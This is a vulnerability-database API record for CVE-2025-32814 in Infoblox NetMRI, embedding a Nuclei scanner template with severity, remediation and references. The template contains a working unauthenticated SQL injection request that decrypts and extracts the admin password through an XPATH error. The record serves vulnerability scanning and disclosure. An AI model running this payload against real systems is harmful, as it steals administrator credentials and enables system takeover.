{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-32814/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-32814/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-32814/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-32814/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-32814/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-32814"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-32814"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-32814.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-32814\n\ninfo:\n  name: NetMRI Unauthenticated SQL Injection via skipjackUsername\n  author: iamnoooob,pdresearch\n  severity: critical\n  description: |\n    An issue was discovered in Infoblox NETMRI before 7.6.1. Unauthenticated SQL Injection can occur.\n  impact: |\n    Unauthenticated attackers can extract sensitive data including encrypted passwords through SQL injection in the skipjackUsername parameter, potentially leading to complete system compromise.\n  remediation: |\n    Upgrade to Infoblox NetMRI version 7.6.1 or later that properly sanitizes SQL input parameters.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-32814\n    - https://rhinosecuritylabs.com/research/infoblox-multiple-cves/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-32814\n    cwe-id: CWE-89\n    epss-score: 0.36408\n    epss-percentile: 0.98435\n    cpe: cpe:2.3:a:infoblox:netmri:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: infoblox\n    product: netmri\n    fofa-query: icon_hash=\"-319724102\"\n  tags: cve,cve2025,sqli,unauth,netmri,rails,error-based,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /netmri/config/userAdmin/login.tdf?skipjackUsername=admin%22+AND+updatexml(rand(),concat(CHAR(126),NetmriDecrypt((select%20PasswordSecure%20from%20skipjack.ACLUser%20where%20UserName=%22admin%22),%22password%22,1),CHAR(126)),null)--%22&skipjackPassword=anything&weakPassword=true&eulaAccepted=Accept&mode=DO-LOGIN HTTP/1.1\n        Host: {{Hostname}}\n\n\n    extractors:\n      - type: regex\n        part: body\n        name: password\n        group: 1\n        regex:\n          - \"XPATH syntax error: '~(.*?)~'\"\n        internal: true\n\n      - type: dsl\n        dsl:\n          - \"'Password: ' + password\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'XPATH syntax error:'\n# digest: 490a00463044022018762dcbe91ba2fd2a610145e9f60c6bfedb67ab5c5f15aefbb9e50eea712a0d0220372908f4c5e999b397825a8666b7a304386efd4e6fee5a9af6a6616a28b6f226:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-32814"
}